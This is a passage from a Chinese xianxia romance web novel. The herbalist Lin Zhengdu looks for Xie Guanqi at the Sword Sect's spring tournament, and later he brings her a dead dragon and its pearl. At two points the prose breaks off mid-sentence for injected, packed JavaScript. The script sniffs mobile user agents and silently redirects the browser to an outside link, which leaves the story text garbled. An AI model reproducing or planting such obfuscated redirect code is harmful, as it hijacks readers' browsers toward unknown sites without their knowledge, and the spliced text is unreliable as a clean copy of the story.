但林争渡寻白龙珠是为了试药,那药做出来到底有没有用,她自己也不知道,所以就没有匿名的必要。 回到小院之后,林争渡的生活迅速恢复了平静。 上山采药,记录新长出来的草药苗,灵兽的数量——下山配药,做花架。 林争渡有心让自己忙起来,连躺在椅子上发呆的闲工夫都没有给自己留,一有空闲就去后院敲着锤子叮叮当当的炮制那具穷奇骨。 她已经决定种络石。 络石的性情与苔藓相合,又是爬藤植物,而且药山里的络石似乎因为环境变化而进化出了食腐性,好好养一段时间,可以用来当天然垃圾桶,处理一些有害尸体很方便。 在林争渡抽空从药山深处把一株络石幼苗移栽回来的当天下午,那具巨大的花架也终于完工——花架立在湖边厚密的苔藓地上,白骨被打磨得莹润生辉。 刚被移植进去的络石,此时还是很幼小的一株,尚且连骨架的脚腕骨都无法圈住。 林争渡忙完一切,揉揉脖颈伸展胳膊,走过中庭时看见几片枯叶被风吹到了走廊上。 她愣了楞,迟疑片刻,不自觉穿过走廊一直走到前院空地里。 因为已经有六日无人打扫,院子里的地砖又被一层落叶覆盖。原来谢观棋已经离开六天了。 那场春梦对林争渡的影响,随着时间流逝而慢慢变小,她现在就算想起谢观棋,也不会像前几天那样尴尬了。 除了些许没有头绪的怅然之外,林争渡还感觉有些对不起谢观棋。虽然是谢观棋先不辞而别——也不算不辞而别吧,他至少还去辞别了自己师父。 但自己那两天确实是一直避着他,给出的借口也很敷衍。 林争渡自言自语:“找个机会去一趟剑宗,跟谢观棋把话说开吧……其实如果没有那个春梦,谢观棋这人做朋友是真的很不错。” “做病患也很不错。” 又会主动打扫卫生,又会在她忙手工的时候帮忙递工具,还不会把钉子拿成锤子。 很快林争渡就找到了合理前往剑宗的机会——这个月的月底,剑宗内部有春分大会。 春分大会是专门为剑宗年轻弟子设立的季度赛会,让弟子们以抽签选择对手的方式捉对比试,只有第一名,不设第二名第三名。 春分大会是剑宗内部的比赛,并不对外开放,也不允许外人进去参观。但药宗例外,药宗与剑宗同属北山一脉,同气连枝,药宗弟子凭宗门腰牌,可以随意进出大会赛场进行观战,还可以参与剑宗内部的赌剑活动。 * 云端之上,霞光七彩,不时有散养的仙鹤飞过。 有的仙鹤仙风道骨,有的仙鹤嘴里叼着不知道从什么地方偷摘的果子,边飞边吃,吃完还在云端乱吐果核,鹤德堪忧。 除了热爱在云端四处溜达的仙鹤之外,还有符文缠绕的飞云渡船。 此处渡船每两个时辰一趟,往返于剑宗和药宗之间,一趟只需要两块灵石,在宗门上空禁止飞剑也禁止御气的两宗中,是没钱养 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16377647|183969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仙鹤的弟子们最为喜欢的交通工具。 “哕——这个——哕——船——哕哕——” 林争渡扶着飞云渡船的墙壁大吐特吐,吐得整个人差点趴在装秽物的木桶上。 青岚一边扶着她,一边叹气回答:“还要两刻时间,才到剑宗呢。你上船之前不是已经吃过晕船药了吗?怎么还吐成这样?” 林争渡:“你不——哕——晕船——哕——” 青岚:“……算了你别说话了,专心吐吧。” 好不容易等渡船落地,林争渡脚步虚浮的被青岚扶下去。两只脚重新踩到地面的瞬间,林争渡感动得眼眶湿润,不禁揉了揉眼睛。 青岚看得有些好笑:“真搞不懂,你明明晕船那么严重,干嘛非要来凑这个热闹?春分大会又不是第一次开了,往年请你来都不来。” 林争渡不爱出门,就连药宗自己内部的一些活动,她都不去参加,更别提剑宗的春分大会了。所以即使剑宗同药宗关系要好,在谢观棋之前,林争渡也并没有相熟的剑宗弟子。 所以她突然说要来春分大会,青岚属实是大吃一惊。 林争渡摸了摸自己鼻尖:“就是因为往年从来不来,所以今年才感觉好奇嘛。” 两人随着人群涌进剑宗大门,在守门弟子面前出示了腰牌之后,便有一个格外年幼的剑宗弟子来为她们引路,带着她们一直走到大赛入口。 比赛设立于一处掌珠幻境内,幻境外由高到低层叠着数不清的观众席。 引路弟子背着一把练习所用的木剑,还带着婴儿肥的笑脸,向二人作揖,声音清脆:“两位药宗姐姐自己寻空位坐下即可,观赛途中切记不可攻击幻境水幕,不可大声辱骂参赛弟子,不可随地方便……” 引路弟子一口气说完了二三十条观赛要求,末了十分严肃的补上一句:“若触犯规则者,将会被阵法弹出观赛席噢!” 青岚早已经不是第一次来,拉着林争渡自顾自找了两个空位坐下。 不一会儿,她们周围的空位渐渐被其他人填满,林争渡有看见好几位眼熟的药宗弟子。同时,中央空地上的掌珠幻境水幕发出一阵微光——波光闪烁片刻后,巨大的字幕漂浮其上。 是对战弟子的名单。 林争渡一目十行看完,却没有再名单上找到谢观棋的名字。她微微皱眉,又将名单从头到尾看了一遍。 虽然上面的名字极多,但是林争渡对自己的目力很有信心,绝不至于看漏。 林争渡问:“这就是全部的参赛弟子了吗?” 青岚点头,有点兴奋的说:“对啊。今年的参赛弟子比去年多,看来一定会打得很精彩!” “精彩?”旁边的剑宗弟子撇了撇嘴,“那道友你可要失望了,今年大概会是最无趣的春分大会了。” 青岚不解:“为何啊?” 剑宗弟子:“因为今年春分,燕稠山的谢师兄不参赛啊!没有谢师兄,其他人打来打去也就那样啦。” 青岚歪了歪头,有些疑惑,但不等她追问,就有人先一步问出声:“谢观棋为什么不参赛?” 青岚瞥了眼问话的人——是林争渡问的。 剑宗弟子摇头:“这我就不知道了,可能谢师兄有自己的事情要办吧。” 林争渡:“这种比赛还可以不参加的吗?” 剑宗弟子解释:“拿过三连冠的弟子有拒赛的资格,但是谢师兄明明去年都参加了……” 说完,剑宗弟子很惆怅的叹了一口气——旁听的林争渡也很想跟着叹气。 本来还想着,来赛场就能碰见谢观棋。好歹她也是谢观棋的救命恩人,碰见了总不能不说话,找到机会说话就可以解释误会—— 没想到人家根本没来比赛。 10.白龙珠 比赛要开始了——水幕有很多面,而且是环绕式的,如果想要看指定的水幕,观众只能自己挪位置。 这种剑修的比赛,外行看热闹,内行也看热闹。原因无他,只是因为剑修打起架来确实伤心悦目。 剑修能成为人数最多的一种修行物种,自有它的原因在。大约百分之八十的普通人,在踏上大道之前,都畅想过自己御剑凭风,一剑过九州的景象——加上剑道一途对灵根没有要求,什么灵根都能学。 于是众多青春少年怀着对话本子的期待拿起了剑,跳入了名为剑修的大河,成为无数过江之鲫里的一尾小鲫鱼。 刚刚还和林争渡说这场比赛会很无趣的剑宗弟子,在比赛开始后立刻兴致勃勃的观看起比赛来,并时不时和身边的同伴一起点评几句。 青岚分心瞥了眼林争渡,脑袋凑过去,压低声音问:“师姐,你有事想找谢师兄吗?” 林争渡把她的脑袋推回原位,用正常声音回答:“只是想起来了,所以问一下而已,毕竟他当过我的病患。” 青岚迟疑盯着林争渡的侧脸,只见林争渡面色如常在看比赛。这时赛场上有人欢呼,欢呼声迅速吸引了青岚的注意力,她立刻眼睛亮亮的去看剑修打架,不再狐疑的盯着林争渡。 察觉到小师妹移开视线,林争渡心里暗暗松了口气。 至于水幕上那些刀光剑影的比赛——林争渡对剑修的理解仅限于是擅长用剑的修士,而且也没什么兴趣,实在看不出什么花头来。 强撑着看了半日,林争渡借口坐得膝盖不舒服,跟青岚打了声招呼,独自走出赛场去活动腿脚。 赛场内人声鼎沸,倒显得场外格外安静。不同于药宗处处依山傍水奇珍异草的幽静曲折,剑宗的风格直白而古朴。 一条笔直且宽阔的大道横穿灵山,尽头是线条古朴的议事大殿。大道两边栽种有高而长青的松树,松树后面是分别由各位长老主管的小宗。 地盘和地盘之间以界碑为划分,简洁明了一目了然,甚至不需要传送法阵,整个宗门唯一的阵法就是外围的护山大阵,还是从药宗那边共享过来的。 林争渡站在大道边边,看见几个年轻剑修——有男有女,背上背着剑,上衣用护腕束着袖口,长裤的裤脚掖进靴子里,走起路来意气生风,眼睛都格外明亮。 她们大概是一个师父手底下的弟子,成群结队走过去,目不斜视,很正派很有气势的从林争渡旁边路过。 林争渡盯着她们的背影思索了一会,也迈开步子,不紧不慢沿着大道边边往前走。她心底怀着一种没什么期待的念头,觉得她既然能在这条路上碰见剑修,那么或许也可以碰见谢观棋。 因为本身对这种需要缘分的巧合不抱期望,所以后面当真没有碰到谢观棋时,林争渡也就没有感到多么失望,顶多有一种‘果然如此’的感觉。 回程依旧坐飞云渡船,林争渡依旧吐得死去活来,在吐完之后,她感觉到一丝怅然——明明食物吃下去的时候都很好吃,但从胃里吐出来时怎么会变成这样酸苦恶心的东西? 春分大赛比了五天才比完,但是后面四天林争渡都没有再去。 青岚看完比赛之后,兴冲冲的跑过来告诉林争渡,第一名是剑宗紫竹林的弟子。 “师姐,最后一天你没有去,真的太可惜了!”青岚两眼发光的同她分享八卦,“第一名是个好俊朗的剑修!” 她分享八卦时,就在林争渡工作桌边转来转去。 林争渡不紧不慢用铡刀切块草药,声音温和柔软:“是吗?真可惜,我的晕船症实在是难受,吃了药也没用,否则我就去看了。” 青岚道:“唉,真的很可惜!因为下一届就不是他们参赛了,要换新弟子呢。” 林争渡宽慰她:“不过药宗和剑宗离得这么近,日后总有机会见面的。” 青岚闻言,歪了歪头,感觉有点奇怪。 她是在为师姐没能见到那名俊秀剑修而可惜,但怎么师姐反而安慰起她来了?师姐就不好奇吗? 对春分大赛第一名毫无兴趣,也并不关注的林争渡平静切完了药材,把它们扫进盒子里。 还有一些残余的药渣粘在手上——林争渡把双手浸进水盆里清洗。有那么短暂的一瞬间,她想过故作不经意的开口问青岚,知不知道燕稠山的谢师兄回来没有。 如果回来了,春分大赛最后一天他有去吗? 他为什么没有去参加比赛,也没有在那天出门闲逛呢?是真的领了师命,去做什么很急切的任务了吗? 但是林争渡并没有问出口。 她记得谢观棋说过,会在送一只梦魇的尸体过来。林争渡相信谢观棋是说到做到的人,所以她迟早会再见到谢观棋。 来日方长,不必着急。 三月一过,天气以肉眼可见的速度热了起来。 络石从兽骨足部一直攀爬到兽骨雪白的脊柱上,在没有光照的阴凉里颤巍巍开了几朵细长白花,花片打卷纤弱动人。 林争渡尝试着喂了它一点腐肉,但是它不怎么吃,啃了一点皮,就不动了。林争渡只好暂时放弃,将腐肉剁碎拌进泥土里,用来给中庭的毒花毒草施肥。 夏日的天气,酷热,多发雷暴雨。 药宗的阵法显然不能阻挡雷阵雨,林争渡半夜被轰隆作响的雷声惊醒。她想起中庭的植物,有几株格外娇气,是禁不住这样的风雨的。 于是林争渡披上避水的低阶法衣,起身去中庭搬运花盆。 搬完最要紧的那几盆花,林争渡手上都是泥。她站在回廊边,借着檐角冲下来的水流洗了洗手——屋外传来轰隆一声,重物落地的声音,和天上震慑人心的雷声混合,惊得林争渡心脏也跟着猛然一跳。 这声动静很大,像是有体型庞大的野兽冲进了院子里。 林争渡拢了拢衣领,鼓起勇气把屋门打开一条缝往外看:看见一条盘起来的龙,坠在她院子里。 她惊得嘴巴张大,手上力度没有控制住,一下子把房门全部推开了。屋外暴烈的风雨席卷进来,吹得林争渡眯了眯眼睛,目光穿过厚密的雨幕,看见了站在龙头旁边的人。 居然是谢观棋。 他仍旧是之前离开药山时的装扮,很朴素的黑衣黑裤,长发用布条随意束了个马尾,容貌稠丽而神色冷淡,冷淡到近乎锋利,教人对着那双天生适合含情的眼也难以生出绮念。 林争渡揉了揉自己眼睛,以为自己睡出幻觉了——但是没有,她揉完眼睛,谢观棋和那条死透了的龙还在她面前。 那条龙甚至被摆得弯弯曲曲,刻意绕开了院子里的植物,只压在没有种草药的空处。 林争渡从门后面抄起一把伞,撑开,跑下台阶站到谢观棋面前。她将伞面向谢观棋倾斜,吃惊得声音调子都拔高了:“你——你怎么回事?这条龙?等等——死的龙?你捡的?” 因为过于错愕,以至于林争渡开口甚至有些词不成句。 谢观棋回答:“我杀的。” 林争渡:“……你杀一条龙干什么?!” 谢观棋接过林争渡手上的伞,接伞时他手指碰到林争渡手背。 明明淋雨的人是谢观棋,但是浑身干爽的林争渡手背却比他的手指冷。 他的手指在林争渡手背上擦出水痕,但是林争渡没有躲开。谢观棋疑惑的看了眼林争渡,看见她还一脸不明所以的模样,没有法衣遮顾的长发被淋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16378434|183969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 湿了一些,浓黑的湿润的垂在她衣袖上。 林大夫不畏惧他了,也不躲他了。 为什么? 谢观棋开口:“先进屋吧,雨好大,我灵力有点不够用,被淋得头好痛。” 林争渡拉住他衣袖,带他进屋。 水珠滴滴答答,从谢观棋的发梢和衣角滚落地面,很快就在地板上汇聚起一滩浅水。 林争渡很迟疑:“你不会已经死了,变成水鬼来的吧?” 谢观棋:“没有死,不是水鬼。” 说完,他正打算从怀里掏东西——林争渡踮起脚,手背碰了碰谢观棋的额头,他准备掏东西的动作停住。 林争渡摸完他额头,向他笑了下:“嗯,还有温度,确实不是水鬼。你吓死我了,怎么突然……算了,先把衣服换掉,泡个热水,然后扎个针……” 谢观棋愣愣的,看着她淡笑的脸,反应不过来。就这样毫无反抗之力的被林争渡拉过手腕,把了脉。 有点内伤,但以谢观棋的修为,不算重伤。 气息急促,有些失血过多,灵力失调,大约也有外伤。 林争渡在心里下了定论,卷起衣袖去烧了热水。谢观棋跟在她身后,在林争渡借用法术把火点起来之后,他往灶台里勾勾手。 火苗自己飞出来绕着他打转,把他身上烤干之后又回到灶台里。 因为是粗糙的火焰,难以控制,加上谢观棋现在有点灵力不足——身上虽然是烤干了,但是他的发尾和衣服也有很多地方都烧焦了。 本来很顺滑的黑发,现在变成了卷发。 他低头看了眼自己衣服上烧黑的地方,放弃了想帮林争渡也烤烤的想法——紧接着就听见林争渡又笑了一声。 谢观棋偏过脸去,疑惑的看向林争渡。 林争渡摸着鼻尖解释:“感觉你这个,卷头发,挺有意思的。” 谢观棋:“给你也来一个?” 林争渡连忙摆手:“不要不要不要,你现在这个不稳定的烫头技术,我可不敢尝试。” 谢观棋:“烫头技术?” 林争渡捋了捋自己湿润的长发,解释道:“就是用火烤头发的技术。” “不说那个了,先说龙——那条龙是怎么回事?” 谢观棋伸手往自己怀里掏,掏出来一颗澄澈洁白的龙珠。 龙珠光华万千,照得这片小小陋室蓬荜生辉,照得林争渡眼睛都快瞎了。 她迟疑的问谢观棋:“这是龙珠?” 谢观棋:“我查过书,龙珠生于龙族喉下——从喉咙里掏出来的,应该是龙珠没有错。” 林争渡:“……我的那张悬赏单是你揭下来的?” 谢观棋点头。 林争渡沉默下来,盯着谢观棋手里那颗龙珠。 那颗龙珠实在是太闪了,林争渡费了好大的劲儿,才让自己目光从上面移开,望着谢观棋,艰难的开口:“你有没有想过,白龙珠它可能……是一棵草?” 谢观棋茫然。 林争渡的反问超乎了他所有的预料,他眨了眨眼睛,眼尾泛着被火焰熏撩出来的红晕,看起来甚至显得有些可怜。 林争渡把古籍拿过来,翻开其中一页,指给谢观棋看:“白龙珠,又名珊瑚丹,是一种生长在海上仙山深处,十分稀少的药材,也是我目前在研究的冰魄雪花丸的主要材料之一。” 谢观棋:“冰魄雪花丸是什么?” 林争渡:“我起的名字,用来治疗沸血毒。” 谢观棋知道沸血毒,和疫鬼毒并列每个修士绝对不想中的三大剧毒之一。 他叹了口气,把龙珠放到灶台上:“那我的任务失败了,抱歉。”